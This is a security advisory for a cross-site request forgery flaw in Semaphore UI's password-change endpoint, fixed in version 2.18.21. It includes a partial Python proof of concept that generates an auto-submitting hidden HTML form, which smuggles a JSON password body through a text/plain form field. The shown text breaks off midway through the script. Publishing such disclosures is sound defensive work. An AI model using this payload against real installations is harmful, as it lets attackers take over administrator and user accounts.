Semaphore UI is a web interface for managing DevOps tools. Prior to 2.18.21, the /api/users/{id}/password endpoint accepts a cross-site request using the authenticated user's semaphore session cookie without CSRF protection or current-password confirmation, allowing an unauthenticated attacker to change an administrator's or another user's password after user interaction. This issue is fixed in version 2.18.21.

Affected: Go: github.com/semaphoreui/semaphore

### Summary

The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.

### Details

The password change endpoint of Semaphore UI does not implement any CSRF protection:

- No CSRF token required - No current password confirmation required - Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement

A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/<id>/password forms.

### PoC

To reproduce the exploit, you can use the following python script:

```python import logging import argparse import time import sys import os from http.server import SimpleHTTPRequestHandler, HTTPServer

logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')

def forge_malicious_page(target, user_id, newpassword): return f""" <html> <body>

<form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">

<input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' /> </form> <script> document.getElementById("CSRF_POC").submit(); </script>

</body> </html> """;

parser = argparse.ArgumentParser() parser.add_argument("-i","…